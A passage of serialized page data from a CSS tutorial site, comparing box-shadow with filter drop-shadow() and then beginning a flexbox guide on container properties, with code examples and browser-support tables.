0.3));\n}\n",[143,57111,57112,57119,57169,57209],{"__ignoreMap":141},[1560,57113,57114,57117],{"class":1562,"line":1563},[1560,57115,57116],{"class":1566},".arrow",[1560,57118,1571],{"class":1570},[1560,57120,57121,57123,57125,57127,57129,57131,57133,57135,57137,57139,57141,57143,57145,57147,57149,57151,57153,57155,57157,57159,57161,57163,57165,57167],{"class":1562,"line":337},[1560,57122,35842],{"class":1576},[1560,57124,1663],{"class":1570},[1560,57126,35847],{"class":1576},[1560,57128,1688],{"class":1570},[1560,57130,18059],{"class":1576},[1560,57132,17990],{"class":1669},[1560,57134,13541],{"class":1576},[1560,57136,17990],{"class":1669},[1560,57138,1459],{"class":1570},[1560,57140,18114],{"class":1576},[1560,57142,17990],{"class":1669},[1560,57144,18318],{"class":1576},[1560,57146,17990],{"class":1669},[1560,57148,1459],{"class":1570},[1560,57150,18059],{"class":1576},[1560,57152,17990],{"class":1669},[1560,57154,35878],{"class":1576},[1560,57156,17990],{"class":1669},[1560,57158,1459],{"class":1570},[1560,57160,5285],{"class":1576},[1560,57162,17990],{"class":1669},[1560,57164,18318],{"class":1576},[1560,57166,17990],{"class":1669},[1560,57168,1744],{"class":1570},[1560,57170,57171,57173,57175,57177,57179,57181,57183,57185,57187,57189,57191,57193,57195,57197,57199,57201,57203,57205,57207],{"class":1562,"line":343},[1560,57172,47101],{"class":1576},[1560,57174,1663],{"class":1570},[1560,57176,57046],{"class":1576},[1560,57178,1688],{"class":1570},[1560,57180,5285],{"class":1576},[1560,57182,43195],{"class":1576},[1560,57184,1670],{"class":1669},[1560,57186,43241],{"class":1576},[1560,57188,1670],{"class":1669},[1560,57190,18694],{"class":1576},[1560,57192,1688],{"class":1570},[1560,57194,5285],{"class":1576},[1560,57196,1459],{"class":1570},[1560,57198,5285],{"class":1576},[1560,57200,1459],{"class":1570},[1560,57202,5285],{"class":1576},[1560,57204,1459],{"class":1570},[1560,57206,18724],{"class":1576},[1560,57208,41941],{"class":1570},[1560,57210,57211],{"class":1562,"line":365},[1560,57212,1585],{"class":1570},[16,57214,18204,57215,57217],{},[143,57216,1880],{}," here would produce a rectangular shadow behind a diamond shape — clearly wrong.",[11,57219,57221],{"id":57220},"svg-and-transparent-pngs","SVG and Transparent PNGs",[16,57223,57224,57225,57227,57228,57230],{},"SVGs often contain shapes with empty space between elements. A logo with cutout letterforms, an icon with a transparent center — ",[143,57226,1880],{}," fills those gaps with shadow paint. ",[143,57229,56938],{}," follows the inked pixels precisely.",[11,57232,57234],{"id":57233},"drop-shadow-syntax","Drop Shadow Syntax",[135,57236,57238],{"className":1554,"code":57237,"language":1556,"meta":141,"style":141},"filter: drop-shadow(h-offset v-offset blur color);\n",[143,57239,57240],{"__ignoreMap":141},[1560,57241,57242,57244,57247,57249,57251],{"class":1562,"line":1563},[1560,57243,23109],{"class":2484},[1560,57245,57246],{"class":1570},": drop-shadow(",[1560,57248,47381],{"class":2484},[1560,57250,47384],{"class":2484},[1560,57252,57253],{"class":1570}," blur color);\n",[193,57255,57256,57266],{},[196,57257,57258],{},[199,57259,57260,57262,57264],{},[202,57261,1769],{},[202,57263,47400],{},[202,57265,2683],{},[211,57267,57268,57279,57290,57303],{},[199,57269,57270,57274,57276],{},[216,57271,57272],{},[143,57273,47381],{},[216,57275,3057],{},[216,57277,57278],{},"Positive shifts right, negative left",[199,57280,57281,57285,57287],{},[216,57282,57283],{},[143,57284,47432],{},[216,57286,3057],{},[216,57288,57289],{},"Positive shifts down, negative up",[199,57291,57292,57296,57298],{},[216,57293,57294],{},[143,57295,47106],{},[216,57297,3057],{},[216,57299,57300,57301],{},"Must be specified — no zero default like ",[143,57302,1880],{},[199,57304,57305,57309,57312],{},[216,57306,57307],{},[143,57308,12607],{},[216,57310,57311],{},"No (but recommended)",[216,57313,57314],{},"Browser default varies — always specify explicitly",[16,57316,57317,57318,57320],{},"Key differences from ",[143,57319,1880],{}," syntax:",[41,57322,57323,57331,57337],{},[44,57324,57325,23567,57328,57330],{},[47,57326,57327],{},"No spread value",[143,57329,56938],{}," cannot enlarge or shrink the shadow",[44,57332,57333,57336],{},[47,57334,57335],{},"No inset keyword"," — inner shadows are not supported",[44,57338,57339,57342,57343,57345,57346],{},[47,57340,57341],{},"No multi-shadow"," — you cannot comma-separate multiple ",[143,57344,56938],{}," values in a single ",[143,57347,23109],{},[11,57349,57351],{"id":57350},"stacking-multiple-drop-shadows","Stacking Multiple Drop Shadows",[16,57353,57354,57355,57357,57358,57360],{},"Chain ",[143,57356,56938],{}," calls within a single ",[143,57359,23109],{}," property to create layered effects:",[135,57362,57364],{"className":1554,"code":57363,"language":1556,"meta":141,"style":141},".icon {\n  filter:\n    drop-shadow(0 1px 2px rgba(0, 0, 0, 0.1))\n    drop-shadow(0 4px 8px rgba(0, 0, 0, 0.15));\n}\n",[143,57365,57366,57372,57378,57415,57451],{"__ignoreMap":141},[1560,57367,57368,57370],{"class":1562,"line":1563},[1560,57369,11298],{"class":1566},[1560,57371,1571],{"class":1570},[1560,57373,57374,57376],{"class":1562,"line":337},[1560,57375,47101],{"class":1576},[1560,57377,19182],{"class":1570},[1560,57379,57380,57383,57385,57387,57389,57391,57393,57395,57397,57399,57401,57403,57405,57407,57409,57411,57413],{"class":1562,"line":343},[1560,57381,57382],{"class":1576},"    drop-shadow",[1560,57384,1688],{"class":1570},[1560,57386,5285],{"class":1576},[1560,57388,18868],{"class":1576},[1560,57390,1670],{"class":1669},[1560,57392,9426],{"class":1576},[1560,57394,1670],{"class":1669},[1560,57396,18694],{"class":1576},[1560,57398,1688],{"class":1570},[1560,57400,5285],{"class":1576},[1560,57402,1459],{"class":1570},[1560,57404,5285],{"class":1576},[1560,57406,1459],{"class":1570},[1560,57408,5285],{"class":1576},[1560,57410,1459],{"class":1570},[1560,57412,46961],{"class":1576},[1560,57414,9429],{"class":1570},[1560,57416,57417,57419,57421,57423,57425,57427,57429,57431,57433,57435,57437,57439,57441,57443,57445,57447,57449],{"class":1562,"line":365},[1560,57418,57382],{"class":1576},[1560,57420,1688],{"class":1570},[1560,57422,5285],{"class":1576},[1560,57424,13574],{"class":1576},[1560,57426,1670],{"class":1669},[1560,57428,13490],{"class":1576},[1560,57430,1670],{"class":1669},[1560,57432,18694],{"class":1576},[1560,57434,1688],{"class":1570},[1560,57436,5285],{"class":1576},[1560,57438,1459],{"class":1570},[1560,57440,5285],{"class":1576},[1560,57442,1459],{"class":1570},[1560,57444,5285],{"class":1576},[1560,57446,1459],{"class":1570},[1560,57448,19693],{"class":1576},[1560,57450,41941],{"class":1570},[1560,57452,57453],{"class":1562,"line":889},[1560,57454,1585],{"class":1570},[16,57456,57457,57458,57460,57461,57464,57465,57467],{},"Each ",[143,57459,56938],{}," renders relative to the output of the previous filter. The second shadow is cast by the element ",[7310,57462,57463],{},"plus its first shadow"," — which subtly shifts the result compared to ",[143,57466,1880],{}," layering where each shadow casts independently from the element bounding box.",[11,57469,41982],{"id":41981},[11,57471,1388,57473,57475],{"id":57472},"use-box-shadow-when",[143,57474,1880],{}," When",[41,57477,57478,57485,57496,57502,57508],{},[44,57479,57480,57481,57484],{},"The element is a ",[47,57482,57483],{},"rectangle"," with no transparency concerns — cards, modals, inputs, buttons",[44,57486,57487,57488,23567,57491,57493,57494],{},"You need ",[47,57489,57490],{},"inset shadows",[143,57492,56938],{}," does not support ",[143,57495,47512],{},[44,57497,57487,57498,57501],{},[47,57499,57500],{},"spread control"," — shrinking or growing the shadow shape",[44,57503,57487,57504,57507],{},[47,57505,57506],{},"multiple shadows"," with independent positioning — comma syntax is cleaner",[44,57509,57510,23567,57513,57515],{},[47,57511,57512],{},"Performance is critical",[143,57514,1880],{}," composites more efficiently than filters",[11,57517,1388,57519,57475],{"id":57518},"use-drop-shadow-when",[143,57520,56938],{},[41,57522,57523,57530,57538,57545],{},[44,57524,57525,57526,57529],{},"The element has ",[47,57527,57528],{},"transparent regions"," — PNG\u002FSVG icons, logos with cutouts",[44,57531,57532,57533,57537],{},"The element uses ",[47,57534,57535],{},[143,57536,35456],{}," — clipped shapes need contour-following shadows",[44,57539,57540,57541,57544],{},"The element is ",[47,57542,57543],{},"transformed"," in ways that alter its rendered shape",[44,57546,57547,57548,57551,57552],{},"You want a shadow around ",[47,57549,57550],{},"irregular borders"," — dashed or dotted borders cast uneven shadows with ",[143,57553,1880],{},[11,57555,57557],{"id":57556},"inheritance-and-composition","Inheritance and Composition",[16,57559,57560,57562,57563,57565],{},[143,57561,23109],{}," applies to the entire element and its subtree. A ",[143,57564,23109],{}," on a parent element affects all descendants as a composited group. This means:",[41,57567,57568,57576],{},[44,57569,57570,57575],{},[47,57571,57572,57574],{},[143,57573,56938],{}," on a parent"," casts a single shadow around the combined alpha shape of the parent and all children — efficient for grouped elements",[44,57577,57578,57582],{},[47,57579,57580,57574],{},[143,57581,1880],{}," only shadows the parent bounding box — children may visually extend beyond the shadow",[16,57584,57585],{},"This distinction matters for icon groups, composite components, and card layouts with overflow content.",[135,57587,57589],{"className":1554,"code":57588,"language":1556,"meta":141,"style":141},"\u002F* Single shadow around the whole group *\u002F\n.icon-group {\n  filter: drop-shadow(0 4px 8px rgba(0, 0, 0, 0.2));\n}\n\n\u002F* Shadow only on the container box — children extend beyond *\u002F\n.icon-group {\n  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);\n}\n",[143,57590,57591,57596,57603,57643,57647,57651,57656,57662,57698],{"__ignoreMap":141},[1560,57592,57593],{"class":1562,"line":1563},[1560,57594,57595],{"class":1649},"\u002F* Single shadow around the whole group *\u002F\n",[1560,57597,57598,57601],{"class":1562,"line":337},[1560,57599,57600],{"class":1566},".icon-group",[1560,57602,1571],{"class":1570},[1560,57604,57605,57607,57609,57611,57613,57615,57617,57619,57621,57623,57625,57627,57629,57631,57633,57635,57637,57639,57641],{"class":1562,"line":343},[1560,57606,47101],{"class":1576},[1560,57608,1663],{"class":1570},[1560,57610,57046],{"class":1576},[1560,57612,1688],{"class":1570},[1560,57614,5285],{"class":1576},[1560,57616,13574],{"class":1576},[1560,57618,1670],{"class":1669},[1560,57620,13490],{"class":1576},[1560,57622,1670],{"class":1669},[1560,57624,18694],{"class":1576},[1560,57626,1688],{"class":1570},[1560,57628,5285],{"class":1576},[1560,57630,1459],{"class":1570},[1560,57632,5285],{"class":1576},[1560,57634,1459],{"class":1570},[1560,57636,5285],{"class":1576},[1560,57638,1459],{"class":1570},[1560,57640,18949],{"class":1576},[1560,57642,41941],{"class":1570},[1560,57644,57645],{"class":1562,"line":365},[1560,57646,1585],{"class":1570},[1560,57648,57649],{"class":1562,"line":889},[1560,57650,1702],{"emptyLinePlaceholder":363},[1560,57652,57653],{"class":1562,"line":1710},[1560,57654,57655],{"class":1649},"\u002F* Shadow only on the container box — children extend beyond *\u002F\n",[1560,57657,57658,57660],{"class":1562,"line":1717},[1560,57659,57600],{"class":1566},[1560,57661,1571],{"class":1570},[1560,57663,57664,57666,57668,57670,57672,57674,57676,57678,57680,57682,57684,57686,57688,57690,57692,57694,57696],{"class":1562,"line":1747},[1560,57665,18679],{"class":1576},[1560,57667,1663],{"class":1570},[1560,57669,5285],{"class":1576},[1560,57671,13574],{"class":1576},[1560,57673,1670],{"class":1669},[1560,57675,13490],{"class":1576},[1560,57677,1670],{"class":1669},[1560,57679,18694],{"class":1576},[1560,57681,1688],{"class":1570},[1560,57683,5285],{"class":1576},[1560,57685,1459],{"class":1570},[1560,57687,5285],{"class":1576},[1560,57689,1459],{"class":1570},[1560,57691,5285],{"class":1576},[1560,57693,1459],{"class":1570},[1560,57695,18949],{"class":1576},[1560,57697,1744],{"class":1570},[1560,57699,57700],{"class":1562,"line":2507},[1560,57701,1585],{"class":1570},[11,57703,26165],{"id":26164},[16,57705,57706],{},"Both properties are GPU-accelerated, but they compose differently:",[193,57708,57709,57723],{},[196,57710,57711],{},[199,57712,57713,57715,57719],{},[202,57714,1234],{},[202,57716,57717],{},[143,57718,1880],{},[202,57720,57721],{},[143,57722,56938],{},[211,57724,57725,57736,57749,57764,57775],{},[199,57726,57727,57730,57733],{},[216,57728,57729],{},"Compositing",[216,57731,57732],{},"Painted with the element layer",[216,57734,57735],{},"Applied as a filter — requires an extra compositing step",[199,57737,57738,57741,57744],{},[216,57739,57740],{},"Multiple shadows",[216,57742,57743],{},"Single paint operation",[216,57745,57457,57746,57748],{},[143,57747,56938],{}," is a separate filter pass",[199,57750,57751,57754,57761],{},[216,57752,57753],{},"Animation",[216,57755,57756,57757,1531,57759],{},"Smooth with ",[143,57758,45006],{},[143,57760,19946],{},[216,57762,57763],{},"Can trigger filter recalculation — test on low-end devices",[199,57765,57766,57769,57772],{},[216,57767,57768],{},"Large blur values",[216,57770,57771],{},"Efficient — rasterized at paint time",[216,57773,57774],{},"Expensive — blur radius multiplies compositing cost",[199,57776,57777,57780,57783],{},[216,57778,57779],{},"Alpha analysis",[216,57781,57782],{},"Not needed — rectangle is known",[216,57784,57785],{},"Browser must traverse pixel alpha to compute shape",[16,57787,57788],{},"For most UI elements, the performance gap is negligible. It matters only when you animate shadows on dozens of elements simultaneously or use blur radii beyond 40px.",[11,57790,2341],{"id":2340},[11,57792,57794],{"id":57793},"using-both-on-the-same-element","Using Both on the Same Element",[16,57796,57797,57798,1856,57800,57802,57803,57805,57806,57809,57810,57812],{},"Applying ",[143,57799,1880],{},[143,57801,56938],{}," to the same element produces a shadow of a shadow. The ",[143,57804,56938],{}," is cast from the painted output ",[7310,57807,57808],{},"including"," the ",[143,57811,1880],{},", resulting in a blurry, misaligned double shadow.",[16,57814,57815],{},"Pick one. Never combine both on the same element.",[11,57817,57819],{"id":57818},"forgetting-the-blur-value","Forgetting the Blur Value",[16,57821,57822,57824,57825,57827,57828,57830],{},[143,57823,1880],{}," defaults blur to ",[143,57826,5285],{}," if omitted. ",[143,57829,56938],{}," does not — omitting blur is a syntax error or produces unexpected results depending on the browser.",[135,57832,57834],{"className":1554,"code":57833,"language":1556,"meta":141,"style":141},"\u002F* Valid box-shadow — blur defaults to 0 *\u002F\nbox-shadow: 4px 4px rgba(0, 0, 0, 0.2);\n\n\u002F* Invalid drop-shadow — blur is required *\u002F\nfilter: drop-shadow(4px 4px rgba(0, 0, 0, 0.2));\n\n\u002F* Correct *\u002F\nfilter: drop-shadow(4px 4px 0px rgba(0, 0, 0, 0.2));\n",[143,57835,57836,57841,57853,57857,57862,57873,57877,57882],{"__ignoreMap":141},[1560,57837,57838],{"class":1562,"line":1563},[1560,57839,57840],{"class":1649},"\u002F* Valid box-shadow — blur defaults to 0 *\u002F\n",[1560,57842,57843,57845,57848,57851],{"class":1562,"line":337},[1560,57844,1880],{"class":2484},[1560,57846,57847],{"class":1570},": 4px 4px rgba(0, 0, 0, 0",[1560,57849,57850],{"class":1566},".2",[1560,57852,1744],{"class":1570},[1560,57854,57855],{"class":1562,"line":343},[1560,57856,1702],{"emptyLinePlaceholder":363},[1560,57858,57859],{"class":1562,"line":365},[1560,57860,57861],{"class":1649},"\u002F* Invalid drop-shadow — blur is required *\u002F\n",[1560,57863,57864,57866,57869,57871],{"class":1562,"line":889},[1560,57865,23109],{"class":2484},[1560,57867,57868],{"class":1570},": drop-shadow(4px 4px rgba(0, 0, 0, 0",[1560,57870,57850],{"class":1566},[1560,57872,41941],{"class":1570},[1560,57874,57875],{"class":1562,"line":1710},[1560,57876,1702],{"emptyLinePlaceholder":363},[1560,57878,57879],{"class":1562,"line":1717},[1560,57880,57881],{"class":1649},"\u002F* Correct *\u002F\n",[1560,57883,57884,57886,57889,57891],{"class":1562,"line":1747},[1560,57885,23109],{"class":2484},[1560,57887,57888],{"class":1570},": drop-shadow(4px 4px 0px rgba(0, 0, 0, 0",[1560,57890,57850],{"class":1566},[1560,57892,41941],{"class":1570},[11,57894,57896],{"id":57895},"drop-shadow-on-dense-layouts","Drop Shadow on Dense Layouts",[16,57898,57899,57900,57902,57903,57905],{},"Because ",[143,57901,56938],{}," follows the alpha shape, it can produce visually noisy shadows on elements with many small transparent gaps — like text with letter-spacing or elements with detailed SVG patterns. For these cases, ",[143,57904,1880],{}," on a wrapper element often produces a cleaner result.",[11,57907,5512],{"id":5511},[193,57909,57910,57924],{},[196,57911,57912],{},[199,57913,57914,57916,57918,57920,57922],{},[202,57915,5867],{},[202,57917,5534],{},[202,57919,5542],{},[202,57921,5550],{},[202,57923,5558],{},[211,57925,57926,57943,57960],{},[199,57927,57928,57932,57934,57937,57940],{},[216,57929,57930],{},[143,57931,1880],{},[216,57933,5553],{},[216,57935,57936],{},"4+",[216,57938,57939],{},"5.1+",[216,57941,57942],{},"12+",[199,57944,57945,57949,57952,57955,57958],{},[216,57946,57947],{},[143,57948,49343],{},[216,57950,57951],{},"53+",[216,57953,57954],{},"35+",[216,57956,57957],{},"9.1+",[216,57959,57942],{},[199,57961,57962,57967,57970,57973,57976],{},[216,57963,57964,57966],{},[143,57965,56455],{}," (glass)",[216,57968,57969],{},"76+",[216,57971,57972],{},"103+",[216,57974,57975],{},"9+",[216,57977,57978],{},"17+",[16,57980,57981,57983,57984,57986],{},[143,57982,56938],{}," has slightly newer support than ",[143,57985,1880],{},", but both work in all modern browsers. No prefixes are needed.",[11,57988,1355],{"id":1354},[41,57990,57991,57999,58004,58012,58017,58022],{},[44,57992,57993,57995,57996,57998],{},[143,57994,1880],{}," follows the bounding box; ",[143,57997,56938],{}," follows the alpha contour — this is the deciding factor",[44,58000,58001,58003],{},[143,58002,56938],{}," has no spread, no inset, and no multi-shadow comma syntax",[44,58005,57354,58006,58008,58009,58011],{},[143,58007,56938],{}," calls in a single ",[143,58010,23109],{}," to stack alpha-aware shadows",[44,58013,1388,58014,58016],{},[143,58015,56938],{}," for PNG\u002FSVG icons, clip-path shapes, and irregular forms",[44,58018,1388,58019,58021],{},[143,58020,1880],{}," for rectangular elements, inset effects, spread control, and better composition performance",[44,58023,58024],{},"Never combine both on the same element — pick one",[11,58026,286],{"id":285},[16,58028,58029,58030,58032],{},"Build and compare both shadow types in our ",[98,58031,20279],{"href":20278},". Experiment with offset, blur, and color values — then copy the generated code directly into your project.",[11,58034,321],{"id":320},[41,58036,58037,58042,58047],{},[44,58038,58039,58041],{},[98,58040,20290],{"href":20289}," — Master offset, blur, spread, inset, and multi-layer shadow patterns",[44,58043,58044,58046],{},[98,58045,2041],{"href":2040}," — Combine shadows with gradients, glow effects, and glass morphism for modern UI",[44,58048,58049,49356],{},[98,58050,49355],{"href":49354},[2043,58052,58053],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":58055},[58056,58057,58058,58059,58060,58061,58062,58063,58064,58066,58068,58069,58070,58071,58072,58073,58074,58075,58076,58077],{"id":56868,"depth":337,"text":56869},{"id":56880,"depth":337,"text":56881},{"id":56953,"depth":337,"text":56954},{"id":57094,"depth":337,"text":57095},{"id":57220,"depth":337,"text":57221},{"id":57233,"depth":337,"text":57234},{"id":57350,"depth":337,"text":57351},{"id":41981,"depth":337,"text":41982},{"id":57472,"depth":337,"text":58065},"Use box-shadow When",{"id":57518,"depth":337,"text":58067},"Use drop-shadow() When",{"id":57556,"depth":337,"text":57557},{"id":26164,"depth":337,"text":26165},{"id":2340,"depth":337,"text":2341},{"id":57793,"depth":337,"text":57794},{"id":57818,"depth":337,"text":57819},{"id":57895,"depth":337,"text":57896},{"id":5511,"depth":337,"text":5512},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare CSS box-shadow and filter drop-shadow(). Learn when to use each for images, SVG, and UI elements.",{"immutable":363,"keywords":58080},[20323,58081],"css-drop-shadow-tutorial",{"title":56863,"description":58078},"guides\u002Fcss-drop-shadow-tutorial","8pWGVd-b4GgvUQqEhC8EueBaB16kDa7k02nEo8UUgG0",{"id":58086,"title":58087,"body":58088,"date":2070,"description":59575,"extension":361,"meta":59576,"navigation":363,"path":59577,"readingTime":889,"seo":59578,"stem":59579,"__hash__":59580},"guides\u002Fguides\u002Fcss-flexbox-tutorial.md","CSS Flexbox Tutorial: Complete Guide to Flex Properties",{"type":8,"value":58089,"toc":59546},[58090,58094,58097,58100,58104,58111,58113,58155,58160,58163,58166,58218,58254,58257,58260,58300,58348,58354,58356,58359,58428,58430,58435,58493,58496,58502,58561,58564,58567,58627,58632,58636,58639,58641,58647,58686,58696,58699,58705,58734,58739,58741,58744,58775,58779,58791,58886,58889,58895,58959,58962,58967,59009,59015,59019,59023,59166,59170,59283,59285,59360,59364,59468,59470,59510,59512,59520,59522,59543],[11,58091,58093],{"id":58092},"what-is-css-flexbox","What Is CSS Flexbox?",[16,58095,58096],{},"CSS Flexbox is a one-dimensional layout model that arranges items in rows or columns. Unlike block or inline layouts, flexbox distributes space dynamically — items grow to fill available room or shrink to avoid overflow, all without hardcoded widths.",[16,58098,58099],{},"Flexbox replaces float-based layouts, inline-block hacks, and table-based alignment. It handles distribution, alignment, and ordering in a declarative way.",[11,58101,58103],{"id":58102},"flex-container-properties","Flex Container Properties",[16,58105,58106,58107,58110],{},"A flex container is the parent element with ",[143,58108,58109],{},"display: flex",". These properties control how its children behave.",[33,58112,41162],{"id":41162},[135,58114,58116],{"className":1554,"code":58115,"language":1556,"meta":141,"style":141},".container {\n  display: flex;       \u002F* block-level flex container *\u002F\n  display: inline-flex; \u002F* inline-level flex container *\u002F\n}\n",[143,58117,58118,58124,58137,58151],{"__ignoreMap":141},[1560,58119,58120,58122],{"class":1562,"line":1563},[1560,58121,1655],{"class":1566},[1560,58123,1571],{"class":1570},[1560,58125,58126,58128,58130,58132,58134],{"class":1562,"line":337},[1560,58127,12504],{"class":1576},[1560,58129,1663],{"class":1570},[1560,58131,32187],{"class":1576},[1560,58133,5755],{"class":1570},[1560,58135,58136],{"class":1649},"\u002F* block-level flex container *\u002F\n",[1560,58138,58139,58141,58143,58146,58148],{"class":1562,"line":343},[1560,58140,12504],{"class":1576},[1560,58142,1663],{"class":1570},[1560,58144,58145],{"class":1576},"inline-flex",[1560,58147,3664],{"class":1570},[1560,58149,58150],{"class":1649},"\u002F* inline-level flex container *\u002F\n",[1560,58152,58153],{"class":1562,"line":365},[1560,58154,1585],{"class":1570},[16,58156,1388,58157,58159],{},[143,58158,58145],{}," when the container itself should sit inline with other content — for example, a tag chip or a small icon group.",[33,58161,58162],{"id":58162},"flex-direction",[16,58164,58165],{},"Sets the main axis — the direction items flow.",[193,58167,58168,58177],{},[196,58169,58170],{},[199,58171,58172,58174],{},[202,58173,1769],{},[202,58175,58176],{},"Main Axis",[211,58178,58179,58189,58199,58208],{},[199,58180,58181,58186],{},[216,58182,58183],{},[143,58184,58185],{},"row",[216,58187,58188],{},"Horizontal, left→right (default)",[199,58190,58191,58196],{},[216,58192,58193],{},[143,58194,58195],{},"row-reverse",[216,58197,58198],{},"Horizontal, right→left",[199,58200,58201,58205],{},[216,58202,58203],{},[143,58204,32691],{},[216,58206,58207],{},"Vertical, top→bottom",[199,58209,58210,58215],{},[216,58211,58212],{},[143,58213,58214],{},"column-reverse",[216,58216,58217],{},"Vertical, bottom→top",[135,58219,58221],{"className":1554,"code":58220,"language":1556,"meta":141,"style":141},".vertical-stack {\n  display: flex;\n  flex-direction: column;\n}\n",[143,58222,58223,58230,58240,58250],{"__ignoreMap":141},[1560,58224,58225,58228],{"class":1562,"line":1563},[1560,58226,58227],{"class":1566},".vertical-stack",[1560,58229,1571],{"class":1570},[1560,58231,58232,58234,58236,58238],{"class":1562,"line":337},[1560,58233,12504],{"class":1576},[1560,58235,1663],{"class":1570},[1560,58237,32187],{"class":1576},[1560,58239,2228],{"class":1570},[1560,58241,58242,58244,58246,58248],{"class":1562,"line":343},[1560,58243,32686],{"class":1576},[1560,58245,1663],{"class":1570},[1560,58247,32691],{"class":1576},[1560,58249,2228],{"class":1570},[1560,58251,58252],{"class":1562,"line":365},[1560,58253,1585],{"class":1570},[33,58255,58256],{"id":58256},"flex-wrap",[16,58258,58259],{},"Controls whether items wrap to new lines when they exceed container width.",[193,58261,58262,58270],{},[196,58263,58264],{},[199,58265,58266,58268],{},[202,58267,1769],{},[202,58269,17960],{},[211,58271,58272,58281,58290],{},[199,58273,58274,58278],{},[216,58275,58276],{},[143,58277,33433],{},[216,58279,58280],{},"Items shrink to fit one line (default)",[199,58282,58283,58287],{},[216,58284,58285],{},[143,58286,32411],{},[216,58288,58289],{},"Items wrap onto new lines",[199,58291,58292,58297],{},[216,58293,58294],{},[143,58295,58296],{},"wrap-reverse",[216,58298,58299],{},"Items wrap in reverse order",[135,58301,58303],{"className":1554,"code":58302,"language":1556,"meta":141,"style":141},".responsive-cards {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 1rem;\n}\n",[143,58304,58305,58312,58322,58332,58344],{"__ignoreMap":141},[1560,58306,58307,58310],{"class":1562,"line":1563},[1560,58308,58309],{"class":1566},".responsive-cards",[1560,58311,1571],{"class":1570},[1560,58313,58314,58316,58318,58320],{"class":1562,"line":337},[1560,58315,12504],{"class":1576},[1560,58317,1663],{"class":1570},[1560,58319,32187],{"class":1576},[1560,58321,2228],{"class":1570},[1560,58323,58324,58326,58328,58330],{"class":1562,"line":343},[1560,58325,32406],{"class":1576},[1560,58327,1663],{"class":1570},[1560,58329,32411],{"class":1576},[1560,58331,2228],{"class":1570},[1560,58333,58334,58336,58338,58340,58342],{"class":1562,"line":365},[1560,58335,32235],{"class":1576},[1560,58337,1663],{"class":1570},[1560,58339,3585],{"class":1576},[1560,58341,32215],{"class":1669},[1560,58343,2228],{"class":1570},[1560,58345,58346],{"class":1562,"line":889},[1560,58347,1585],{"class":1570},[16,58349,58350,58351,58353],{},"Without ",[143,58352,58256],{},", items squeeze to fit. With it, items maintain their size and flow into rows — essential for responsive design.",[33,58355,41171],{"id":41171},[16,58357,58358],{},"Distributes free space along the main axis.",[193,58360,58361,58369],{},[196,58362,58363],{},[199,58364,58365,58367],{},[202,58366,1769],{},[202,58368,29641],{},[211,58370,58371,58380,58390,58399,58408,58418],{},[199,58372,58373,58377],{},[216,58374,58375],{},[143,58376,32539],{},[216,58378,58379],{},"Pack to start",[199,58381,58382,58387],{},[216,58383,58384],{},[143,58385,58386],{},"flex-end",[216,58388,58389],{},"Pack to end",[199,58391,58392,58396],{},[216,58393,58394],{},[143,58395,32199],{},[216,58397,58398],{},"Center the group",[199,58400,58401,58405],{},[216,58402,58403],{},[143,58404,41176],{},[216,58406,58407],{},"Even gaps, no edge padding",[199,58409,58410,58415],{},[216,58411,58412],{},[143,58413,58414],{},"space-around",[216,58416,58417],{},"Equal space around each item",[199,58419,58420,58425],{},[216,58421,58422],{},[143,58423,58424],{},"space-evenly",[216,58426,58427],{},"Equal space everywhere",[33,58429,51743],{"id":51743},[16,58431,58432,58433,9368],{},"Aligns items along the cross axis (perpendicular to ",[143,58434,58162],{},[193,58436,58437,58445],{},[196,58438,58439],{},[199,58440,58441,58443],{},[202,58442,1769],{},[202,58444,29641],{},[211,58446,58447,58456,58465,58474,58483],{},[199,58448,58449,58453],{},[216,58450,58451],{},[143,58452,33070],{},[216,58454,58455],{},"Fill container height (default)",[199,58457,58458,58462],{},[216,58459,58460],{},[143,58461,32539],{},[216,58463,58464],{},"Align to cross-start",[199,58466,58467,58471],{},[216,58468,58469],{},[143,58470,58386],{},[216,58472,58473],{},"Align to cross-end",[199,58475,58476,58480],{},[216,58477,58478],{},[143,58479,32199],{},[216,58481,58482],{},"Center on cross axis",[199,58484,58485,58490],{},[216,58486,58487],{},[143,58488,58489],{},"baseline",[216,58491,58492],{},"Align by text baseline",[33,58494,58495],{"id":58495},"align-content",[16,58497,58498,58499,58501],{},"Controls spacing between rows when ",[143,58500,33607],{}," creates multiple lines. Has no effect with a single line.",[135,58503,58505],{"className":1554,"code":58504,"language":1556,"meta":141,"style":141},".multi-row {\n  display: flex;\n  flex-wrap: wrap;\n  align-content: space-between;\n  height: 